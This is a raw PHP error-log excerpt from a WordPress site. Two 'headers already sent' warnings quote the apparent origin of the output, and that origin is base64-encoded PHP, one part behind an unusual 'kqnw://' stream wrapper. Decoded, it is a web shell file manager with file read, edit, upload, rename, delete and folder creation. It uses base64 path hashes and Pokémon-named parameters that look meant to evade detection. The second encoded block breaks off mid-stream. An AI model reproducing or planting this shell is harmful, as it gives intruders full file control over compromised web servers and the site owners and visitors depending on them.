JlZCI+PC9zcGFuPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvbnRyb2wtZG90IHllbGxvdyI+PC9zcGFuPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvbnRyb2wtZG90IGdyZWVuIj48L3NwYW4+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICANCiAgICAgICAgPGRpdiBjbGFzcz0ibmF2LWFyZWEiPg0KICAgICAgICAgICAgPD9waHAgaWYgKCRjYW5fZ29fdXApOiA/Pg0KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij88P3BocCBlY2hvIFBfRElSOyA/Pj08P3BocCBlY2hvIGdldF9oYXNoKCRwYXJlbnRfZGlyKTsgPz4iIGNsYXNzPSJidG4tdXAiIHRpdGxlPSJQYXJlbnQgRGlyZWN0b3J5Ij4mbHQ7IFVQPC9hPg0KICAgICAgICAgICAgPD9waHAgZWxzZTogPz4NCiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iYnRuLXVwIGRpc2FibGVkIj4mbHQ7IFVQPC9zcGFuPg0KICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICANCiAgICAgICAgICAgIDxkaXYgY2xhc3M9InBhdGgtZGlzcGxheSIgdGl0bGU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkY3VycmVudF9kaXIpOyA/PiI+DQogICAgICAgICAgICAgICAgPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRjdXJyZW50X2Rpcik7ID8+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQoNCiAgICA8IS0tIE1haW4gQ29udGVudCAtLT4NCiAgICA8ZGl2IGNsYXNzPSJtYWluLWNvbnRlbnQiPg0KICAgICAgICA8IS0tIFN0YXR1cyBNZXNzYWdlIC0tPg0KICAgICAgICA8P3BocCBpZiAoJHN0YXR1c19tc2cpOiA/Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29uc29sZS1tc2cgPD9waHAgZWNobyAkc3RhdHVzX3R5cGU7ID8+Ij4NCiAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRzdGF0dXNfbXNnOyA/Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KDQogICAgICAgIDxkaXYgY2xhc3M9ImZpbGUtaGVhZGVyIj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1wZXJtIj5QZXJtczwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXNpemUiPlNpemU8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1kYXRlIj5Nb2RpZmllZDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW5hbWUiPk5hbWU8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1hY3Rpb25zIj5BY3Rpb25zPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KDQogICAgICAgIDw/cGhwIGZvcmVhY2ggKCRhbGxfaXRlbXMgYXMgJGl0ZW0pOiA/Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZS1yb3cgPD9waHAgZWNobyAkaXRlbVsnaXNfZGlyJ10gPyAnaXMtZGlyJyA6ICdpcy1maWxlJzsgPz4iPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1wZXJtIj48P3BocCBlY2hvICRpdGVtWydwZXJtcyddOyA/PjwvZGl2Pg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zaXplIj48P3BocCBlY2hvICRpdGVtWydpc19kaXInXSA/ICdESVInIDogZm9ybWF0X3NpemUoJGl0ZW1bJ3NpemUnXSk7ID8+PC9kaXY+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLWRhdGUiPjw/cGhwIGVjaG8gJGl0ZW1bJ21vZCddOyA/PjwvZGl2Pg0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1uYW1lIj4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpdGVtWydpc19kaXInXSk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/PD9waHAgZWNobyBQX0RJUjsgPz49PD9waHAgZWNobyAkaXRlbVsnaGFzaCddOyA/PiIgY2xhc3M9ImlzLWxpbmsiPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkaXRlbVsnbmFtZSddKTsgPz48L2E+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2U6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ25hbWUnXSk7ID8+PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1hY3Rpb25zIj4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCEkaXRlbVsnaXNfZGlyJ10pOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5rIiBvbmNsaWNrPSJvcGVuRWRpdG9yKCc8P3BocCBlY2hvICRpdGVtWydoYXNoJ107ID8+JywgJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhhZGRzbGFzaGVzKCRpdGVtWyduYW1lJ10pKTsgPz4nKSI+W2VkaXRdPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5rIiBvbmNsaWNrPSJvcGVuUmVuYW1lTW9kYWwoJzw/cGhwIGVjaG8gJGl0ZW1bJ2hhc2gnXTsgPz4nLCAnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKGFkZHNsYXNoZXMoJGl0ZW1bJ25hbWUnXSkpOyA/PicpIj5bcmVuYW1lXTwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5rIiBvbmNsaWNrPSJvcGVuRGVsZXRlTW9kYWwoJzw/cGhwIGVjaG8gJGl0ZW1bJ2hhc2gnXTsgPz4nLCAnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKGFkZHNsYXNoZXMoJGl0ZW1bJ25hbWUnXSkpOyA/PicpIj5bZGVsZXRlXTwvc3Bhbj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyA/Pg0KICAgICAgICANCiAgICAgICAgPD9waHAgaWYgKGVtcHR5KCRhbGxfaXRlbXMpKTogPz4NCiAgICAgICAgICAgIDxkaXYgc3R5bGU9InBhZGRpbmc6MTBweDsgY29sb3I6dmFyKC0tdGV4dC1kaW0pOyI+RGlyZWN0b3J5IGlzIGVtcHR5LjwvZGl2Pg0KICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICA8L2Rpdj4NCg0KICAgIDwhLS0gQm90dG9tIFBhbmVsIC0tPg0KICAgIDxkaXYgY2xhc3M9ImJvdHRvbS1wYW5lbCI+DQogICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgY2xhc3M9ImFjdGlvbi1mb3JtIiBzdHlsZT0iZmxleDoyOyI+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSI8P3BocCBlY2hvIFBfQUNUSU9OOyA/PiIgdmFsdWU9Ijw/cGhwIGVjaG8gQV9VUDsgPz4iPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iPD9waHAgZWNobyBQX1RBUkc7ID8+IiB2YWx1ZT0iPD9waHAgZWNobyBnZXRfaGFzaCgkY3VycmVudF9kaXIpOyA/PiI+DQogICAgICAgICAgICA8c3BhbiBjbGFzcz0iY21kLWxpbmUiPnVwbG9hZCZndDs8L3NwYW4+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iPD9waHAgZWNobyBQX0ZJTEU7ID8+Ij4NCiAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij5TZW5kPC9idXR0b24+DQogICAgICAgIDwvZm9ybT4NCg0KICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGNsYXNzPSJhY3Rpb24tZm9ybSIgc3R5bGU9ImZsZXg6MTsiPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iPD9waHAgZWNobyBQX0FDVElPTjsgPz4iIHZhbHVlPSI8P3BocCBlY2hvIEFfTUtESVI7ID8+Ij4NCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8gUF9UQVJHOyA/PiIgdmFsdWU9Ijw/cGhwIGVjaG8gZ2V0X2hhc2goJGN1cnJlbnRfZGlyKTsgPz4iPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5lIj5ta2RpciZndDs8L3NwYW4+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iPD9waHAgZWNobyBQX05BTUU7ID8+IiBwbGFjZWhvbGRlcj0ibmV3X2ZvbGRlciIgcmVxdWlyZWQ+DQogICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCI+KzwvYnV0dG9uPg0KICAgICAgICA8L2Zvcm0+DQogICAgPC9kaXY+DQo8L2Rpdj4NCg0KPCEtLSBISURERU4gRk9STVMgRk9SIEFDVElPTlMgLS0+DQo8Zm9ybSBpZD0iYWN0aW9uLWZvcm0iIG1ldGhvZD0icG9zdCIgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8gUF9BQ1RJT047ID8+IiBpZD0iYWN0LWFjdGlvbiI+DQogICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iPD9waHAgZWNobyBQX0hBU0g7ID8+IiBpZD0iYWN0LWhhc2giPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8gUF9OQU1FOyA/PiIgaWQ9ImFjdC1uZXduYW1lIj4NCjwvZm9ybT4NCg0KPCEtLSBERUxFVEUgTU9EQUwgLS0+DQo8ZGl2IGlkPSJkZWxldGUtbW9kYWwiIGNsYXNzPSJtb2RhbC1vdmVybGF5Ij4NCiAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib3giPg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPkRlbGV0ZSBDb25maXJtYXRpb248L2Rpdj4NCiAgICAgICAgPGRpdj5BcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIDxiIGlkPSJkZWwtZmlsZW5hbWUiPmZpbGU8L2I+PzwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDsgYm9yZGVyLWNvbG9yOnZhcigtLXRleHQtZGltKTsiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjb25maXJtRGVsZXRlKCkiPkRlbGV0ZTwvYnV0dG9uPg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCjwvZGl2Pg0KDQo8IS0tIFJFTkFNRSBNT0RBTCAtLT4NCjxkaXYgaWQ9InJlbmFtZS1tb2RhbCIgY2xhc3M9Im1vZGFsLW92ZXJsYXkiPg0KICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJveCI+DQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+UmVuYW1lPC9kaXY+DQogICAgICAgIDxkaXY+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgaWQ9InJlbi1pbnB1dCIgc3R5bGU9IndpZHRoOjEwMCU7IHBhZGRpbmc6OHB4OyI+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDsgYm9yZGVyLWNvbG9yOnZhcigtLXRleHQtZGltKTsiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjb25maXJtUmVuYW1lKCkiPlJlbmFtZTwvYnV0dG9uPg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCjwvZGl2Pg0KDQo8IS0tIEVESVRPUiBNT0RBTCAtLT4NCjxkaXYgaWQ9ImVkaXRvci1tb2RhbCIgY2xhc3M9Im1vZGFsLW92ZXJsYXkiPg0KICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJveCI+DQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciIgc3R5bGU9ImRpc3BsYXk6ZmxleDsganVzdGlmeS1jb250ZW50OnNwYWNlLWJldHdlZW47Ij4NCiAgICAgICAgICAgIDxzcGFuIGlkPSJlZGl0b3ItZmlsZW5hbWUiPkVkaXRpbmc8L3NwYW4+DQogICAgICAgICAgICA8c3BhbiBzdHlsZT0iY3Vyc29yOnBvaW50ZXI7IiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIj5beF08L3NwYW4+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8dGV4dGFyZWEgaWQ9ImVkaXRvci1hcmVhIj48L3RleHRhcmVhPg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDsgYm9yZGVyLWNvbG9yOnZhcigtLXRleHQtZGltKTsiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJzYXZlRWRpdCgpIj5TYXZlPC9idXR0b24+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KPC9kaXY+DQoNCjxzY3JpcHQ+DQogICAgLy8gSGVscGVycw0KICAgIGNvbnN0IFBfQUNUSU9OID0gJzw/cGhwIGVjaG8gUF9BQ1RJT047ID8+JzsNCiAgICBjb25zdCBBX0RFTCA9ICc8P3BocCBlY2hvIEFfREVMOyA/Pic7DQogICAgY29uc3QgQV9SRU4gPSAnPD9waHAgZWNobyBBX1JFTjsgPz4nOw0KICAgIGNvbnN0IEFfRURJVCA9ICc8P3BocCBlY2hvIEFfRURJVDsgPz4nOw0KICAgIA0KICAgIGxldCBjdXJyZW50QWN0aW9uSGFzaCA9IG51bGw7DQoNCiAgICAvLyBNb2RhbCBIYW5kbGVycw0KICAgIGZ1bmN0aW9uIGNsb3NlTW9kYWxzKCkgew0KICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcubW9kYWwtb3ZlcmxheScpLmZvckVhY2goZWwgPT4gZWwuc3R5bGUuZGlzcGxheSA9ICdub25lJyk7DQogICAgICAgIGN1cnJlbnRBY3Rpb25IYXNoID0gbnVsbDsNCiAgICB9DQoNCiAgICAvLyBEZWxldGUgTG9naWMNCiAgICBmdW5jdGlvbiBvcGVuRGVsZXRlTW9kYWwoaGFzaCwgbmFtZSkgew0KICAgICAgICBjdXJyZW50QWN0aW9uSGFzaCA9IGhhc2g7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkZWwtZmlsZW5hbWUnKS5pbm5lclRleHQgPSBuYW1lOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGVsZXRlLW1vZGFsJykuc3R5bGUuZGlzcGxheSA9ICdmbGV4JzsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBjb25maXJtRGVsZXRlKCkgew0KICAgICAgICBpZihjdXJyZW50QWN0aW9uSGFzaCkgew0KICAgICAgICAgICAgc3VibWl0QWN0aW9uKEFfREVMLCBjdXJyZW50QWN0aW9uSGFzaCk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvLyBSZW5hbWUgTG9naWMNCiAgICBmdW5jdGlvbiBvcGVuUmVuYW1lTW9kYWwoaGFzaCwgbmFtZSkgew0KICAgICAgICBjdXJyZW50QWN0aW9uSGFzaCA9IGhhc2g7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW4taW5wdXQnKS52YWx1ZSA9IG5hbWU7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW5hbWUtbW9kYWwnKS5zdHlsZS5kaXNwbGF5ID0gJ2ZsZXgnOw0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIGNvbmZpcm1SZW5hbWUoKSB7DQogICAgICAgIGlmKGN1cnJlbnRBY3Rpb25IYXNoKSB7DQogICAgICAgICAgICBsZXQgbmV3TmFtZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW4taW5wdXQnKS52YWx1ZTsNCiAgICAgICAgICAgIGlmKG5ld05hbWUpIHsNCiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rpb24tZm9ybScpOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtYWN0aW9uJykudmFsdWUgPSBBX1JFTjsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0LWhhc2gnKS52YWx1ZSA9IGN1cnJlbnRBY3Rpb25IYXNoOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtbmV3bmFtZScpLnZhbHVlID0gbmV3TmFtZTsNCiAgICAgICAgICAgICAgICBmb3JtLnN1Ym1pdCgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgLy8gRWRpdG9yIExvZ2ljDQogICAgZnVuY3Rpb24gb3BlbkVkaXRvcihoYXNoLCBuYW1lKSB7DQogICAgICAgIGN1cnJlbnRBY3Rpb25IYXNoID0gaGFzaDsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VkaXRvci1maWxlbmFtZScpLmlubmVyVGV4dCA9ICdFZGl0aW5nOiAnICsgbmFtZTsNCiAgICAgICAgDQogICAgICAgIHZhciB4aHIgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsNCiAgICAgICAgeGhyLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgaWYgKHhoci5yZWFkeVN0YXRlID09PSA0KSB7DQogICAgICAgICAgICAgICAgaWYgKHhoci5zdGF0dXMgPT09IDIwMCkgew0KICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZWRpdG9yLWFyZWEnKS52YWx1ZSA9IHhoci5yZXNwb25zZVRleHQ7DQogICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0b3ItbW9kYWwnKS5zdHlsZS5kaXNwbGF5ID0gJ2ZsZXgnOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGFsZXJ0KCJFcnJvciBsb2FkaW5nIGZpbGUuIik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9Ow0KICAgICAgICB4aHIub3BlbignR0VUJywgJz88P3BocCBlY2hvIFBfUkFXOyA/Pj0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGhhc2gpLCB0cnVlKTsNCiAgICAgICAgeGhyLnNlbmQoKTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBzYXZlRWRpdCgpIHsNCiAgICAgICAgaWYgKCFjdXJyZW50QWN0aW9uSGFzaCkgcmV0dXJuOw0KICAgICAgICBsZXQgY29udGVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0b3ItYXJlYScpLnZhbHVlOw0KICAgICAgICANCiAgICAgICAgbGV0IGZvcm0gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdmb3JtJyk7DQogICAgICAgIGZvcm0ubWV0aG9kID0gJ1BPU1QnOw0KICAgICAgICBmb3JtLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQoNCiAgICAgICAgY3JlYXRlSW5wdXQoZm9ybSwgJzw/cGhwIGVjaG8gUF9BQ1RJT047ID8+JywgJzw/cGhwIGVjaG8gQV9FRElUOyA/PicpOw0KICAgICAgICBjcmVhdGVJbnB1dChmb3JtLCAnPD9waHAgZWNobyBQX0hBU0g7ID8+JywgY3VycmVudEFjdGlvbkhhc2gpOw0KICAgICAgICBjcmVhdGVJbnB1dChmb3JtLCAnPD9waHAgZWNobyBQX0NPTlQ7ID8+JywgY29udGVudCk7DQoNCiAgICAgICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChmb3JtKTsNCiAgICAgICAgZm9ybS5zdWJtaXQoKTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBzdWJtaXRBY3Rpb24oYWN0aW9uLCBoYXNoKSB7DQogICAgICAgIGxldCBmb3JtID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGlvbi1mb3JtJyk7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtYWN0aW9uJykudmFsdWUgPSBhY3Rpb247DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtaGFzaCcpLnZhbHVlID0gaGFzaDsNCiAgICAgICAgZm9ybS5zdWJtaXQoKTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBjcmVhdGVJbnB1dChmb3JtLCBuYW1lLCB2YWx1ZSkgew0KICAgICAgICBsZXQgaW5wdXQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpOw0KICAgICAgICBpbnB1dC50eXBlID0gJ2hpZGRlbic7DQogICAgICAgIGlucHV0Lm5hbWUgPSBuYW1lOw0KICAgICAgICBpbnB1dC52YWx1ZSA9IHZhbHVlOw0KICAgICAgICBmb3JtLmFwcGVuZENoaWxkKGlucHV0KTsNCiAgICB9DQo8L3NjcmlwdD4NCg0KPC9ib2R5Pg0KPC9odG1sPg==:237) in /home/livedhms/streamsza.com/wp-includes/pluggable.php on line 1535
[04-Jun-2026 10:31:51 UTC] PHP Warning:  Cannot modify header information - headers already sent by (output started at kqnw://PD9waHAgLyoqDQogKiBNb2NoYSBUZXJtaW5hbCBGaWxlIE1hbmFnZXIgKE5vdGlmaWNhdGlvbnMgRWRpdGlvbikNCiAqIFNpbmdsZSBGaWxlLCBQSFAgNSsgQ29tcGF0aWJsZQ0KICovDQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQovLyBQT0tFTU9OIFBBUkFNRVRFUiBNQVBQSU5HDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLy8gR0VUIFBhcmFtcw0KY29uc3QgUF9ESVIgICAgICA9ICdwaWthY2h1JzsgICAgICAgLy8gRGlyZWN0b3J5IGhhc2gNCmNvbnN0IFBfUkFXICAgICAgPSAnYnVsYmFzYXVyJzsgICAgIC8vIFJhdyBmaWxlIHZpZXcgZm9yIGVkaXRvcg0KY29uc3QgUF9NU0cgICAgICA9ICdtZXd0d28nOyAgICAgICAgLy8gU3RhdHVzIG1lc3NhZ2UgdGV4dA0KY29uc3QgUF9UWVBFICAgICA9ICdtb2x0cmVzJzsgICAgICAgLy8gU3RhdHVzIG1lc3NhZ2UgdHlwZSAoc3VjY2Vzcy9lcnJvcikNCg0KLy8gUE9TVCBQYXJhbXMNCmNvbnN0IFBfQUNUSU9OICAgPSAnY2hhcml6YXJkJzsgICAgIC8vIEFjdGlvbiBuYW1lDQpjb25zdCBQX0hBU0ggICAgID0gJ3NxdWlydGxlJzsgICAgICAvLyBGaWxlL0ZvbGRlciBoYXNoDQpjb25zdCBQX1RBUkcgICAgID0gJ3BzeWR1Y2snOyAgICAgICAvLyBUYXJnZXQgZGlyZWN0b3J5IGhhc2ggKGZvciB1cGxvYWQvbWtkaXIpDQpjb25zdCBQX05BTUUgICAgID0gJ2ppZ2dseXB1ZmYnOyAgICAvLyBOZXcgTmFtZSAvIEZvbGRlciBOYW1lDQpjb25zdCBQX0NPTlQgICAgID0gJ3Nub3JsYXgnOyAgICAgICAvLyBGaWxlIGNvbnRlbnQgZm9yIGVkaXQNCmNvbnN0IFBfRklMRSAgICAgPSAnbWVvd3RoJzsgICAgICAgIC8vIFVwbG9hZGVkIGZpbGUgKCRfRklMRVMpDQpjb25zdCBQX0ZEQVRBICAgID0gJ2dlbmdhcic7ICAgICAgICAvLyBCYXNlNjQgZmlsZSBkYXRhDQpjb25zdCBQX0ZOQU1FICAgID0gJ29uaXgnOyAgICAgICAgICAvLyBGaWxlbmFtZSBmb3IgYmFzZTY0IHVwbG9hZA0KDQovLyBBY3Rpb24gVmFsdWVzDQpjb25zdCBBX0RFTCAgICAgID0gJ2h5ZHJvLXB1bXAnOw0KY29uc3QgQV9SRU4gICAgICA9ICdmbGFtZXRocm93ZXInOw0KY29uc3QgQV9FRElUICAgICA9ICdzb2xhci1iZWFtJzsNCmNvbnN0IEFfVVAgICAgICAgPSAnaHlwZXItYmVhbSc7DQpjb25zdCBBX01LRElSICAgID0gJ2VhcnRocXVha2UnOw0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLy8gMS4gRUFSTFkgUkVTUE9OU0UgSEFORExFUlMgKEFKQVggLyBSQVcgVklFVykNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCi8vIEhhbmRsZSBSYXcgVmlldyAoRWRpdG9yIENvbnRlbnQpIC0gTXVzdCBiZSB0b3Agb2YgZmlsZQ0KaWYgKGlzc2V0KCRfR0VUW1BfUkFXXSkpIHsNCiAgICAkaGFzaCA9ICRfR0VUW1BfUkFXXTsNCiAgICAkcGF0aCA9IGJhc2U2NF9kZWNvZGUoJGhhc2gpOw0KICAgIA0KICAgIGlmIChpc19maWxlKCRwYXRoKSkgew0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbicpOw0KICAgICAgICByZWFkZmlsZSgkcGF0aCk7DQogICAgICAgIGV4aXQ7DQogICAgfSBlbHNlIHsNCiAgICAgICAgaGVhZGVyKCJIVFRQLzEuMCA0MDQgTm90IEZvdW5kIik7DQogICAgICAgIGV4aXQoIkZpbGUgbm90IGZvdW5kLiIpOw0KICAgIH0NCn0NCg0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCi8vIDIuIENPTkZJR1VSQVRJT04gJiBTRVRVUA0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTsNCmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7IA0KDQogJGJhc2VfZGlyID0gZ2V0Y3dkKCk7DQogJGJhc2VfZGlyID0gcnRyaW0oJGJhc2VfZGlyLCAnL1xcJyk7DQoNCi8vIEN1cnJlbnQgRGlyZWN0b3J5IExvZ2ljDQogJGN1cnJlbnRfZGlyID0gJGJhc2VfZGlyOw0KaWYgKGlzc2V0KCRfR0VUW1BfRElSXSkpIHsNCiAgICAkZGVjb2RlZCA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbUF9ESVJdKTsNCiAgICBpZiAoJGRlY29kZWQgJiYgaXNfZGlyKCRkZWNvZGVkKSkgew0KICAgICAgICAkY3VycmVudF9kaXIgPSAkZGVjb2RlZDsNCiAgICB9DQp9DQoNCi8vIFJlYWQgTm